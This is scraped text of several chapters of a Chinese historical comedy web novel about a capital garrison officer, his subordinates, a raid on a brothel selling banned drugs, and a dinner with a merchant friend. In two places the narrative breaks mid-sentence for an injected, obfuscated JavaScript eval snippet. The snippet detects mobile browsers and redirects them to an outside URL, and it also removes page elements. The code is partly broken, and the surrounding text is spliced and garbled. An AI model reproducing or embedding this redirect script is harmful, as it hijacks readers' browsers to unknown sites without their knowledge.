周冲自己说着也觉得不太对,从前因为林子里有野鸡野兔子的,半夜总能抓到有新兵溜出营房在东边的树林里生火野餐。他们几个军官担心引起林火,睡着了都要爬起来去东林看一眼。昨天池勤还跟他们几个抱怨说,自己做梦都是东林失火。 4. 清平乐 这两天竟然没有人去树林里生火野餐了,本来是以为是新兵们变乖巧了。仔细想想,腹泻事件发生之后,东林附近一带都没人敢过去,更别说是去野餐了。 “不是好事,我估摸着他们不能去东林了,说不定会去南边的河里胡闹,这几天晚上注意点。”营地南边的河流是要流进京城的,如果里头飘着军营的生活垃圾,大大的不妙。 “又要东林失火,又要污染南河,他们究竟是不是来保卫京城的?”周冲抱怨说。 “他们啊,是为了每个月三顿肉菜来的吧。”韦祎翻看这几天的训练报告和巡逻记录,军营的基层军官大多不通文墨,只会认一点基础的大字,要不是考军官必须读兵书,说不定很多人连写字都不去学。 韦祎运气很好,手下的百户里面有池勤在,报告基本上都会井井有条的,很少需要韦祎重新做整理。“你们几个也太不像样了,这么长时间过去了,报告还是需要池勤帮你们写啊。” 周冲挠着头很不好意思,“哎呀,我真的有自己写一份的,只是我的字实在是不成,一百个字要写十页纸,池大哥说他看不下去,才帮我用小楷誊抄的。” “没关系,我知道你尽力了,最近事情这么多,我就不催你练字了。你看过肖丰的报告没,每天只写四个字‘一切正常’,钱氿正好相反,鸡毛蒜皮的事儿要写千把字浪费纸墨,郑予现在还每天求着池勤帮他写报告呢。” 韦祎逮到机会抱怨了一通,“要不是有池勤在,这些事情都得是我做,我可真是太感谢他了。” “所以下个月池大哥成亲,您会给我们所有人放假吧?” “看情况了,啊呀,卯时中了,该给他们集合点名了。”韦祎坏心眼的卖关子,岔开话题走了出去,“你们光棍五人组马上就变光棍四人组,池勤要成为公敌啊。” “哪里是将要成为,他本来就是。”周冲说,“不过话说回来,算上千总您,其实是光棍六人组。” “怎么说呢,我突然觉得你要抓紧时间练练字了,不如这个月交两本字帖出来。” “千总饶命!”周冲哀嚎着。 池勤是个公认的好人,武功不俗,做事负责,是个大哥角色。 据韦祎的了解,池勤家境也不错,父亲曾经是京城的六品骑兵教头,小武官家庭,他是次子,于是父母便送他去私塾读书,想参加科举的。 只是长到十七、八岁的时候,接了父亲军职的池家大哥意外受伤残废,被迫离开军旅,池家是军户,弟弟们年纪太小,只能让池勤顶上名额来当兵。 于是池勤便勤勤恳恳地当着兵,从新兵变成老兵,从老兵变成队长,从队长变成士官长,从士官长变成百户,又在百户里面脱颖而出受人信赖,韦祎相信,自己这个营千总一挪屁股,肯定是池勤接班,他未来的成就也不会止步于此。 韦祎有的时候会想到,就算是为了池勤的前途,自己也该挪一挪屁股。 仅限于想一想,他可不想打仗,也并不想让家人给自己疏通关系,因此他自己没什么挪动屁股的好办法。 只能在池勤成亲的时候给他好好备一份厚礼了,韦祎准备逼迫罗晏便宜卖给自己一套珠宝首饰或者绸缎什么的。 靠谱又善良的池百户回家过休息日去了,蔫坏蔫坏的韦千总来上班了。再加上韦祎焦虑着有可能要打仗的事儿,训练强度大幅提升,把两千五百员新兵、带训的队长们、周冲他们四个、外加他自己练得叫苦连天。 直到两天过去了,池勤又回来上班才稍微有些好转。 “这套刀法只剩最后两式了,大家加把劲!”池勤和新兵们一起站在太阳底下晒着,周冲在旁边很崇拜地看着池勤。 韦祎路过此地,也很崇拜地看着池勤,然后他就放心走开去闲逛散步了。 兵部又下发了一堆文书工作,韦祎在办公室抄报表抄得头昏昏,厨房又传来“喜讯”说今天午饭是茨菇炒肉片,实在是诸事不顺,他决定要透透气再回去处理问题。 沿着校场与营房中间的路走着,不知不觉走到了东边的树林,韦祎意识到自己身处何地之后一阵发抖,准备立刻向后转离开这个可怕的地方。 “那不是钱氿吗?”韦祎在向后转之前看了一眼树林里。钱氿在好像正拿着个锄头在刨地。“挖……挖屎吗?”韦祎瞪大了眼睛,这时他又看见了肖丰出现在树林里,他推着个小推车,车上不知道装了些什么,肖丰一边紧张地四处张望着一边和钱氿说话。 这个场景如果出现在其他荒郊野外,韦祎一定是会怀疑有不法勾当在里面,否则神色没必要那么紧张。 东林里面除了屎什么也没有埋,韦祎很清楚。 四处张望的肖丰很快看到了树林旁一脸震惊的韦祎,很紧张地朝韦祎招招手示意他赶快走过来不要站在那么惹眼的路中间。 “你们在干嘛?”韦祎以袖掩面,猫着腰,紧张兮兮地走进树林里,走进去之后立刻找到一丛灌木后面蹲下躲着,确保从林子外面看不见自己。 身临其境的时候他才真正懂得肖丰和钱氿在紧张些什么,自己营里面的新兵刚刚在东林里集体拉稀搞的全部城防军都遭殃,过了几天要是被人看见营千总带着两个百户在林子里挖掘,这事儿传出去可会闹大笑话。什么“韦千总带人在挖屎”之类的。 “哎呀,我想在这里栽一排月季啦,这里的土,嗯,挺肥沃的,种上容易养活的花,多少能掩盖一下之前发生的事情。”钱氿一边卖力挖地一边回答韦祎。 “你多事,这不是欲盖弥彰吗?!”肖丰见韦祎以袖掩面,他受到启发,把腰带上挂着的头盔瓤子拿下来,戴在头上。 顾名思义,原本是冬季用来垫着头盔保暖的,一直披到肩膀,两层厚布而已,用来保暖聊胜于无。但它有其他用处,夏季不少兵丁户外干活时用它来遮阳。 “正好我家的花圃间苗,有不少淘汰的次等月季,扔了可惜,花田又种不下,我就拿来废物利用了。”钱氿说。 “你们两个在这里不务正业,留着他们两个在那里挨大太阳晒,怕不是他俩回头要找你们算账。” “我们又不是周冲和郑予那两个小鬼,还要池勤帮忙写报告。”肖丰说。 韦祎想起了这两位“各具特色”的文书报告,很想让他俩回炉重造。 “你不要这么说,池大哥他很辛苦的,我们忙完这里的事情要赶快回去参加训练,他们两个人可顾不过来两千多人。”钱氿百忙之中还知道说句公道话。 肖丰此时戴着头盔瓤子捂住了脸,看不出他的表情,但是韦祎能听到他的语气十分惊慌:“钱氿!用锄头挖一挖就算了,你不要用手抓土啊!你疯了吗?” “别嚷嚷啦,你不知道吗,你吃的蔬菜可都是用大粪浇出来的,你吃的猪都是用泔水喂的,种花怎么就不能用手挖了?”钱氿的性格不像是个军官,他家里是京郊开花圃的,他自己也喜欢种花栽树,搞些干花香囊、胭脂香膏之类的东西。 每次交日常报告都能写上七八百字一千字的,其中婆婆妈妈的说了一些他在巡逻的时候扶老婆婆过街、帮老爷爷搬行李、看见卖花的小女孩今天穿了新衣裳、听说来的市井爱情故事之类,韦祎得承认他把钱氿的报告当娱乐来阅读。 “我吃的蔬菜是大粪浇出来的,但是不可以是我认识的人的大粪浇出来的,你以为我为什么跑来当兵而不是去乡下种地啊?你别说了。”肖丰和钱氿开始斗嘴了。 “你别回营房了,我忍不了和你住一间。” “今天我轮值放饭,你别吃饭啊。”钱氿说。 “不吃就不吃,我用你私藏的锅灶自己做。” “你敢进我的厨房试试,我现在就回去把它们摸一遍。” “恶心!” 将官营房不算小,但也不大啊,钱氿是怎么在里面搭厨房的?韦祎越听越迷惑,瞅见四下无人,捂着脸小跑出了林子。 “那不是韦千总吗?”,另外两个营千总正走在去校场的路上。“韦千总,等等啊!” 韦祎无奈,停了下来,装作没事人一般跟同僚拱拱手。 “您在这里啊,刚才我们俩路过东林,看见您在那里挖土,本来还很疑惑呢,原来是我们看错了。” 这话是有原因的。 韦祎身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357832|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高算是高的,是个麻烦事儿。小时候他在师父那里,同几个师兄弟一起在矮墙前面蹲马步,师父就坐在矮墙后面的房间里看书品香弹琴,透过矮墙上面看出去,其他几个师兄弟被矮墙刚好挡住,可以借着便利松一松劲儿,开一开小差,但是韦祎稍微高那么一些,在矮墙上面露出半个脑袋。 师父看不见别人,就只能看见韦祎,别人能偷懒,韦祎偷不得懒,蹲马步的同时还要忍受师兄弟们在他面前做鬼脸儿逗他,十分凄惨。 钱氿也算是高的,和韦祎身高差不多。 再加上钱氿与韦祎都是弓兵出身,宽肩长臂,从背后看过去几乎分不清。军服从正面看可以看出将官的等级差异,背面却没什么区别,难怪其他人会看错。 韦祎觉得此事无妨,反正钱氿也不会去做什么坏事,但是今天看来,失策了。 “什么事呀,你们叫我肯定没好事,莫不是兵部又派过来一批文书活计?”韦祎又想起了办公室里那一堆写不完的报表。 “对你来说应该是好事,你最近不是没住营房,每天通勤一个多时辰吗。”另一个千总告诉他说,“兵部颁的令已经挂在办公室大厅了,回去看看就知道。” 韦祎与他们俩告别,走回营房的办公室。 原来是说,因为最近京城中外来商人、异国人增多,再加上出使在即,应当格外注意治安巡逻,从明日起在京城中设城防军临时衙门,派营千总级别将官亲自带领巡逻,以安民心。 哈!韦祎与几位同僚商量,决定由他们几个每月一轮,去京城内带领巡逻。 除了韦祎之外,几位营千总都不是京城人氏,平时把营房当家住的,不乐意忽然搬到城里去,两厢情愿,韦祎被选做第一个去城内临时衙门的营千总。 韦祎点了周冲和郑予,带上自己营里的老兵,开开心心地打包行李搬去城中的临时衙门,把新兵们留给了池勤、肖丰和钱氿。 “不用去轮值巡逻了,你们可以专心训练新兵,是不是很开心?”韦祎看见他们三个堵着自己的办公室不肯走,幸灾乐祸。 郑予在一旁嘿嘿嘿的笑,“我就说我去庙里上香抽签,这个月鸿运当头,可不就来了。” “嗯,是啊,你们两个小子是要去城里了,应该有时间练好字,要是这个月结束你们俩还不能自己写出报告来,你们就和新兵们过去吧。”韦祎说,“别指望我像池勤一样娇惯着你们。” 周冲和郑予心情复杂,一会儿兴高采烈,一会儿愁眉苦脸。 马上他们就更愁眉苦脸了,因为他们看见韦祎去找了教将官读书认字的鲁先生,邀请他一起去城里的临时衙门。鲁先生是家住在城里的,他骑毛驴,平时通勤也很痛苦,于是欣然应邀,拍着胸脯保证要在一个月内给周冲和郑予进行文化课特别突击集训。 鲁先生令军官们闻风丧胆,一张棺材面孔黑着,比敌国的千军万马都吓人。 他可不管学生是将军还是兵士,总之写不好字要挨戒尺。城防军营里头,有一阵子流行把“送他去鲁先生那学写字”作为犯错的惩罚来执行。 池勤他们三个依依不舍地送韦祎带队往城内进发,逼着韦祎承诺了十多遍只要新兵学会刀法,就把他们三个都带去城里。 韦祎一边答应着一边不以为然,还真能把新兵扔在营里不管吗,怕不是其他几个营千总要写奏章去兵部参我。 去京城里头设立临时衙门,也不少麻烦事。兵部在城里的犄角旮旯给他们拨了一座落灰三寸厚的旧府邸,看这架势,说不定是前朝留下的。 撕开门上破破烂烂的封条走进去,众人一边被灰尘呛得咳嗽不止,一边在这府邸四处乱翻,找到金银珠宝是不可能的,反而是在后院厨房找到了整整齐齐五笼饿死的已经变成骷髅的鸡鸭。 可别说,饿殍遍野瘆人,整整齐齐的鸡鸭骷髅也瘆人,当下在场的老兵们纷纷感叹自己要吃不下鸡肉鸭肉了。到了晚间,见大家打扫了一天着实辛苦,今天又挺高兴,韦祎自掏腰包买了五十只烧鸡大家分来吃,果然一抢而空,剩下一堆干干净净的鸡骨头,被他们和骷髅鸡鸭一起扔进了傍晚来收垃圾的大车。 5. 南稞弊 刚过了晚饭时间,韦祎步行了一刻钟就回到了自己家。 早晨起来也可以不紧不慢的和家人一同吃过早饭再步行去衙门。上午点过了名,周冲带队去巡街,郑予和几个预备考军官的老兵留在衙门听鲁先生讲课,韦祎喝着茶处理文书工作。 中午,韦家的厨子做好了饭让人给韦祎送来,揭开盖子还热腾腾的,下午轮到郑予出门巡街,周冲去鲁先生那听课。到了傍晚,韦祎亲自带周冲郑予两个去街上巡视一遭,然后就可以下班回家了,即使是夜里有什么事情,让人去韦宅通报他就好。 这样度过了几天之后,一天早上韦寅打量着自己儿子最近似乎在家里出现得很频繁:“小祎,最近不忙啊。” “是啊爹,这几天主要就是巡逻”韦祎答。 “那你今天午后来帮我吧,爹最近可忙得饭都吃不上了。”韦寅说。 “好,那午后我去礼夷院找您。”韦祎还稍微有点高兴,因为他老爹很少在家谈公事。 到了午后,没一件事儿是韦祎乐意做的。 抄文书、送信、打发各色来礼夷院办事、打探消息、行贿的商人和外邦人,讲话讲得口干舌燥。 一直到了傍晚,还要出去带队巡逻,跟士兵们逗趣儿的力气都没了。韦祎以及被文化课折磨的周冲和郑予,仨人有气无力地带队伍巡街,街上这么多异国商旅,外地老板,可真是丢齐国京都的脸。 韦寅经过了一天的试验,发现儿子很好用,于是吩咐儿子这个月每天都要来帮忙,韦祎的生活随之变得不那么令人高兴了。 “保卫京都以安民心”的正经事也是有的。 京兆尹府怀疑一个有名的青楼里头暗暗售卖五石散、芙蓉膏、仙山丸这些禁药,可那青楼养了许多胆子大的保镖护院,平日里很无赖的,又一向见多了高官巨贾,根本不把京兆尹这从四品小官放在眼里。 京兆尹人手不够,不敢自己去查,正逢韦祎在京城的临时衙门办公,京兆尹吴签便亲自上门来找韦祎带着城防军去帮忙。 韦祎有些嫌麻烦,放在平时是要推托的,不过,想到假设自己去帮京兆尹,下午就不用去给老爹跑腿了,便准备答应。 没等他说完,正在隔壁被盯着练字的周冲一溜烟跑来等着,连甲都穿好了。 韦祎指使周冲去找队长们点兵,他和京兆尹吴签吴大人叙叙旧。要说旧嘛,是有那么几句的,京兆尹是韦祎舅舅柳仆射的门生,韦祎十七、八岁的时候去舅舅那里次数多,见过当年的吴签几面。 不到三十岁的吴签刚刚考科举中了殿试二甲,被安排在哪个不太重要的衙门做个末品小文官,闲,便总是来柳府走动,说是拜访老师探讨学问。 其实柳卞背后跟韦祎吐槽:“想升官我可以帮帮他,但这厮一个末品小官竟想求娶我女儿,他以为我一个高兴就会把女儿许配给他?滑稽。” 当年的韦祎年轻气盛,便对吴签生出了几分轻蔑来,吴签想要跟他套近乎,韦祎没多理。不过现在看来,没做柳卞的女婿,还能只用七年的时间就从末品文吏升到京兆尹这种要职,是个有能耐的。 “吴兄,当年你可是想做我的表姐夫的,不知道如今是娶了哪家的姑娘做夫人啊?” “韦老弟,可别提这件让为兄汗颜的旧事啦。”吴签比当年多了不少从容,“内人姓白,家岳如今正任苏州太守,我是五年前去苏州出差时求得岳丈大人将他的千金下嫁予我,成亲时本想请韦老弟你来喝喜酒呢。” “那确实是我错过了吴兄的大喜,当时我正在稞州那地方食不果腹衣不蔽体来着。” “正是如此,老弟你忙于军务,可不就错过了吗,咱们定个日子,到我家吃个便饭。” 说到这,韦祎就退缩回去了。 “吴兄既然相邀,小弟到时一定去。”韦祎说,“哎,我看他们已经穿好甲了,咱们这就出发,路上您跟小弟详细说说这禁药案的来龙去脉,让小弟心里有底。” “这是当然的,我们快去吧,我的人已经把藏娇楼给盯紧了。吴签钻进了自己的藏青色小轿子里头,韦祎则跨上了马。 这出行方式可不方便说话。 于是,从城防军临时衙门到藏娇楼的路上,吴签把轿子的窗帘掀开,自己趴在小窗上探着头跟韦祎讲案情。 韦祎知道这禁药是什么,南宁国、从前南稞国的富人们常常把吸食禁药当作一种消遣,据说是吸食之后能看到仙女在自己眼前跳舞,有瘾头,会破坏身体健康,用多了会死,总之在韦祎看来,闲得找刺激不想活了的蠢货才用这禁药呢。 自从南稞国灭国成了齐国的稞州,国境防线一松开口子,南稞国的弊病就传到齐国来了。连三年都没到呢,就已经听说京城中不少官家子富家子食仙山丸、饮芙蓉膏暗地里成了一阵风气,青楼楚馆这类风月场所更是把禁药当作招揽客人的良方。 此物高价,出售者不知狂卷了多少金银。想来南边的州郡情况要比京城还严重些。 朝廷对这事儿挺重视,要中书省加御史台联合大理寺与各州郡太守府共同治理,凡是抓获售卖禁药者,全部财产没收,量微者刺配千里,量中者问斩,量大者凌迟,若有组织他人贩卖者则三族皆流放。凡吸食者被抓现行不许入伍不许科举,另加以巨额罚款。若有官员吸食则立刻罢官发配,全部族人不许再为官。 中书省牵头的禁药治理,没错儿,韦祎的舅舅柳卞就是总负责人,吴签这等门生之流,自然积极响应。单是积极响应也没什么用,皇帝一气之下把刑罚立得这么重,执行下来的宗旨就是“大事化小,小事化了”。 真要是查出来哪个王公贵胄的子侄吸食,吴签能有胆子罚?他不想要前途了不成? 柳卞也许有雷厉风行整顿禁药的魄力,可柳家交友甚广,知悉友人的子侄里有些不成器的不稀奇,怕是一个不注意就要查到朝廷要员头上来,虽然柳家不涉及,但这朝中做实事的要员被牵连着咔嚓直接罢免,留下来的工作怎么展开? 运气不好的话,换个酒囊饭袋顶上空缺,啥也不用干了。 得悠着些办这事。所以这事儿都办了两年多了,没个大动静,吴签现在敢大刀阔斧地查,可能是皇帝过了气头了。 韦祎的兵士们主要负责把藏娇楼团团围住防可疑人物走脱,韦祎负责跟着吴签,给他壮胆。 吴签有韦祎在旁压阵,自信地找鸨妈理论去了。韦祎寻思着,自己是高了点,也不算很壮实,官衔也不大,怎么吴签就觉得胆子壮了呢?“难道吴签觉得我面相可怖?”韦祎把此事也否了,自己长得不够英俊,但端正,绝对没有歪鼻子斜眼满脸横肉,韦祎少时金吾卫出身,长得难看的选进不去金吾卫。 不出一会儿,吴签兴奋地朝着韦祎挥手,韦祎带人跟吴签走进了藏娇楼的后院,推开一面落地多宝阁,后头是个暗门,暗门里一道密不透风、装饰奢华的回廊,让人守好回廊出口,押着鸨妈走进了回廊,拐了几道弯,果然看见一片灯火通明的“酒池肉林”之景象。 一群风流女子伺候着,六七个纨绔有的疯疯癫癫地手舞足蹈,有的面带笑容歪倒着不知是睡是醒,另外又有五六人一同不知廉耻地在大厅里寻欢作乐,七手八脚十分投入,这么多人冲进来都没惊醒。 在场众位兵士、衙役包括韦祎和吴签都是一副压抑着好奇的故作严肃的表情,眼睛不知道往哪儿看才好。 鸨妈斜睨着韦祎和吴签,咕哝道:“没见过世面。” 吴签清清嗓子,冲韦祎挤挤眼。 “抓了抓了,都带走。”韦祎吩咐手下的士兵们,“帮吴大人把这群人送到京兆衙门侯监去。” 士兵们一拥而上,粗暴地把这群人分开,捆起来架着走了。吴签则招呼自己的衙役捕快们查封此地,收缴证物。 这刚申时,韦祎存心多磨蹭一会儿,跟着看看这,看看那。 “这是个什么?”韦祎戴上了手套,打开个盒子,里头大大小小的金珠子摆满了一盒,大的有牛眼大,小的也有指甲大。打磨得亮闪闪,拈一个左右晃晃,还有声响,“总不能是首饰吧?没个系绦子的地方。” “哎呦,您别摸那个,那是,”吴签想了想该怎么说,“助兴之物。” “药丸子?不像啊,金子也 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兵士依言拾起那套衣裳装进袋中,架着身上仅挂了一条腰带的纨绔出了门。 差不多快过了一个时辰,韦祎想着该出去巡逻一趟然后下班吃晚饭了,正好吴签那边也搞得差不多,于是二人原路返回,走出了藏娇楼的大门。 韦祎手下的兵已经把人给捆好了,站在街边排成一溜,女的给披上一件长衣,兜头一并蒙住,男的不管身上有没有衣裳,直接用麻布袋子套上脑袋即可,街上人多,来来往往的人都站在那看热闹,一排士兵在挡着围观的人不要靠太近。 “你们是来维护治安的,还是来引起骚乱的?”长叹一口气,韦祎四处转头找周冲,“周冲!你就不能先把他们押去京兆衙门?非要站在这等着?哎,周冲呢?” 周冲和另外几个士兵正围做另一堆,没听见韦祎叫他,韦祎挪着步子凑到近前:“唠什么呢,我也听听。” 没等周冲吓一跳,韦祎就被他们给吓了一跳。 “子隽,你们在这办差?” “千总,刚才罗公子走到这看见我们,我们跟他唠两句。”周冲说。 自从韦祎带人搬到了城里,罗晏有事没事就常去他们那溜腿,大家都喜欢他。 人来都来了,韦祎把罗晏和吴签介绍给彼此:“壹通,这位是京兆尹吴大人。吴老兄,这位是罗壹通,罗家的少主。” “可是那富甲天下的罗家?罗公子,下官荣幸、荣幸!” “吴大人,确实是罗家没错,不过富甲天下可不敢当,做些小生意养活家人罢了。” 这二人作揖见礼,一个是钱见了权,一个是权见了钱,对彼此兴趣都很大的样子。韦祎耐着性子听他俩讲客套话,终于见缝插针:“壹通,你怎么来这边了?” “这不是藏娇楼吗,我家想在京郊多置几块地,我约了个地产的老板一起吃个饭,消遣消遣好办事儿啊。” 周冲嘴快,直接说:“这地可去不得了,这里头有卖禁······” 吴签像是听到什么秘密似的,立刻打断周冲:“哎呀,周百户,天色都晚了,还得麻烦您把这些个不法之徒送到衙门去。”说着就拉扯着周冲走掉了。 周冲想想,看看罗晏,再看看那边吸食禁药的不法之徒,再看看罗晏,似乎明白了些什么,一副恍然大悟的神色招呼其他士兵:“快快快,别在这磨蹭了!” “对,别在这凑热闹了,快去干活!”韦祎也说。 被招呼的士兵们也看看罗晏,再看看藏娇楼,个个都一副恍然大悟的神色捂着嘴走了。 人都散没了,罗晏才问一脸怪笑的韦祎:“他们这是什么意思?藏娇楼犯什么事了?” “查禁药。”韦祎说:“反正你今个儿是没法在藏娇楼‘消遣’了。” 罗晏反应了三秒,“韦子隽!你故意抹黑我!我才没有用过禁药!” “这可不能怪我!” 罗晏今个儿的生意是谈不成了,他扭打着韦祎往回走,非要韦祎答应今晚请客。 6. 田舍家 韦祎下午翘了老爹的差事,晚上自然不敢回家吃饭,只好不情不愿地请罗晏在外头吃饭。 罗晏挑的馆子,韦祎那胃口懂什么美食? 他生在世家,本该是个每日里跑马听曲儿,寻美食饮美酒的纨绔,结果小时候还没弄懂“纨绔”该是个什么样的时候,就被老娘送去了境外海岛上的山里学武术,那每天干的是什么事? 只穿个短裤划小船出海捕鱼,回来洗鱼腌鱼晒咸鱼,晒咸鱼用的架子杆子是自己在山里砍竹子做的。 平日里练体力的一大方式就是砍树劈柴,劈了柴除了自己烧,就是去山脚下的小镇子里摆摊叫卖,赚点零花钱。 衣裳肯定是要自己浆洗的,没让他们自己种桑麻棉花织布做衣裳就不错了。 这生活过久了,等回了京城,外头是各色馆子,家里竟然还有厨师,吃啥都好吃。 韦祎的师父和师兄弟在东边这座山峰上住,一个老头子带着一群皮小子。罗晏和罗晏的师父住在西边那座山峰上,一个老太太带着四个女徒弟加一个罗晏。 东边山峰上的皮小子们与西边山峰上的小姑娘们外加罗晏一致认为:老头子和老太太之间必有猫腻。 据说,这老头子老太太本是同门师兄妹,后来各自出山闯荡,多年之后回到这座海岛上,分别占据一座山峰开山收徒,非常嫌弃彼此,从不见面。 罗晏是老太太强行从老头子这里要走的,罗晏的工作是:至少三天一次,他从西边下山,在山里跋涉两个时辰到了东边的山,送了信住一晚上第二天要再跋涉回去,有的时候不止是纸质的信,得背着负重,比如老太太新做的根雕艺术品、老头子熏的三只火腿,老太太不舍得女徒弟干这颠沛流离跋山涉水的事儿,这才破例收一个男徒弟。 得益于这件事,罗晏脚力特别好,平地上快走两个时辰都不会大喘气的,后来出山回城,韦祎绝不和罗晏一起逛街。 “我记得这家好,吃这个。”罗晏拖着韦祎逛了一个时辰,终于从城北墙根下走到城南地界,选定了一家店。 就在一个多时辰前,韦祎刚刚带队从城南巡逻到城北。 纯走路没什么,只是韦祎刚在巡逻,披挂齐全。管他是谁,都不会乐意大热天披着沉重的甲胄,挎着七斤多的佩刀逛街。 “你是故意的。” “没错儿。” “劳烦小哥,我们是两位!”这店看起来颇具规模,沿街的独栋两层楼,一层是散座,二层是雅座,门口站着几位热情招呼客人的店小二,统一的浅色短打,包着头巾,干净利落。 “两位官人可不巧,正赶上饭点儿,客满了需要您等两桌,二位拿张号码牌,稍坐一刻钟就能排上,小的给二位倒茶。”店小二不由分说地递过来一张颇有分量的红铜牌子,正面刻着个“贰”字,背面是方方正正的“铜锅杨”三个字。 “要等啊,不如我们换一家?”韦祎小声问。 “不不不,就这家,你没吃过这家吧,等一刻钟而已,你得尝尝。”罗晏已经在店门口的圆凳上坐下了。 韦祎被甲胄捂得浑身淌汗,看见有茶水有凳子,其实也走不动路了。 罗晏和韦祎都经历过多年的山野生活培训,更准确的说法是他们就是在山野里面长大的,出师之后,显然是罗晏更适应大少爷生活。 韦祎十五岁回的京城,回京之后很快就被舅舅送去太学上课。太学学什么呢?“纨绔班”三天才上一天课,上课的这天也就讲课一个时辰,总之是个让世家子弟们互相结交的场所,国子监才是读书人预备考学的地方。 回忆起来,韦祎那时候也有努力和京城的世家子弟们结交,却实在合不来。 相处之时,世家少年们衣来伸手饭来张口,对佣人颐指气使动辄打骂,韦祎万事自己做,佣人给他倒茶他要双手接过说谢谢,花了大半年才习惯让佣人给他洗衣裳。因此,看那些能力低下态度恶劣的同龄人十分不爽。 有的纨绔十六七就收了好几房美妾,还有蓄养美貌小厮,日夜纠缠不休的。有个同学想拉拢韦祎,尽心竭力地花大价钱挑了两个风情万种的美人送给他,韦祎盛情难却只好收下。 伸头瞧着那同学出了自家的门,转身就撕了俩美女的佣工契,附赠盘缠雇马车把她俩送回原籍去了。 事情没捂住,被人家知道了。那朋友想着也许韦祎是不好女色,过了几天,他又挑了个更难得的年纪小的貌美小厮送到韦祎家里,那孩子见面便伸手扯掉了韦祎的腰带,韦祎吓得翻身上房,提着裤子翻墙溜走住了好几天客栈,得庆幸自己练轻功时没偷懒。 韦祎请他娘柳夫人把那孩子打发走,柳夫人招来那漂亮的男孩子问了几句话,听说是从小就被后爹签了长佣契卖进教坊了,送回家还得再被卖。见这孩子实在漂亮,柳夫人心有不忍,把他送到自家的铺子里学算账。 那纨绔想着韦祎这是收下这个小厮了,收了礼就是真朋友,好歹不再往韦祎家里送活人了。 就这么着,纨绔们觉得韦祎怪,但家世好,功夫好,人不错,乐意和他做朋友的。韦祎可就不这么想了,面上的客套学会了,使出浑身解数来躲人。 罗晏不同,家族赋厚望于他,回家就开始混商人圈子,学着做生意,他也不知道自己是乐意还是不乐意,就这么一直做了下来,成了众望所归的罗家少主,生意场上灵活应变,吃喝玩乐样样精通。 没到一刻钟,店小二就来请他们进去。 看罗晏的穿着就知道此人非富即贵,韦祎又披着将官的甲胄,小二很有眼色的给他们安排在了二楼的雅座上。 罗晏点菜,端上来一只烧着炭火的铜锅,铜锅里盛着白色的高汤,一盘盘生的肉片端上桌。罗晏把羔羊肉片下到滚开的高汤中,不多时便熟了,韦祎一尝,果然鲜美爽口。 “这家店可开了七八年了,你都没发现,枉你是个京城人氏。” “这吃法我是第一次见。” “听说这是北方草原上的吃法,前个儿我和几个京城的管事的来这里吃过,和那几个管事坐在一起吃什么都反胃,别提一个锅里涮筷子了,必须得再来一次。” 大热天披着甲胄,韦祎这个品级的甲胄是金属制成,为了防磨,衬里是厚绒布!面前还要烧着一口锅,胸口的甲都被烤热了,捂得喘不过气,好吃也没胃口。罗晏在大快朵颐,韦祎坐在那里单吃冰镇水果。 “最近你也听到消息了吧,不只是放宽通商,西域那几个国家想嫁公主过来,让齐国派队伍去接呢。” “何止是听说了,这几天我重复听到二十个版本以上了。”韦祎在礼夷院给老爹帮忙,每天跟外邦人解释这类事情。 “出使结盟接亲,肯定是要派将军带兵去接,这可是个好机会。”罗晏说,“好机会你得抓紧啊,找柳大人说说情,轻轻松松就能封你做出使将军。” “不去,好不容易搬回城里上班了,才不自找麻烦。” “你不行啊,总不能一辈子混在京城吧?” “吃你的饭,你才是‘不行’呢。” 京城不是武将发展的地儿,齐国京城是军队真空制,总驻军都不超过一万,只有金吾卫百人、禁军三千在城内驻扎,韦祎所在的城防军都是驻扎在城外的。 齐国开国皇帝在京城四周设立直属京城的四大郡,驻扎重兵作为都城的屏障,大幅度减少了京城内的驻军。 北方安都郡、南方朝庆郡、东方顺天郡、西方贺来郡四方环绕拱卫京城,同时也给京城供应一部分农产品、解决人口负担,朝廷也会把一些人员众多的衙门搬到四郡去,减少京城内部的官方用地。 京城里头的金吾卫主要负责皇宫内部的安全,禁军负责仪仗、把守皇城和各大王府。城防军最不招人待见,有四郡重兵在,京城基本不需要城防,他们就是个摆设,每天巡巡街,站站岗,给各家衙门帮帮忙,没什么要紧事可以做。 没要紧事,就是没立功的机会,没立功,怎么升官? 京都城防军简直是整个齐国军队鄙视链的最底层,连兵部都往这儿派文书工作,边境军的文书做得再差,兵部都客客气气帮着重写,绝不会打回去重做的。 韦祎有次在兵部看到北方边境军的文书档案,大字飞扬,别字连篇,每一张都像是周冲写的,再往旁边一看,兵部专门派了俩文官,费尽心力地猜那些四不像的错字究竟想表达什么,然后重新润色誊抄录入档案,真真正正的区别对待。 韦祎混在这么一个不招人待见的地方,罗晏真心替他着急。尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357834|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其是他发现几年过去了,韦祎竟然在这么一个地方混得挺投入,更着急了。 “哎我说,我爹娘都没催我的这些事儿,你替我急什么,又替我急升官,又替我急续弦,你家是不是想培植朝廷势力官商勾结所以盯上我了啊?” “我呸,我要是想培植朝廷势力我就去巴结你舅舅,求娶你表妹了,还替你这个不上进的着什么急?”罗晏想把嘴里的羊肉都喷到韦祎脸上去,“你也不替宓儿想想,他这么小就没了娘,等他长大了,你也没爵位让他承袭,他要么得自己考科举,要么得自己立战功,都是费劲的路子。” “谁跟你说我家人就得走仕途啊?别说是我,我爹我娘没一个想继续当官的。” 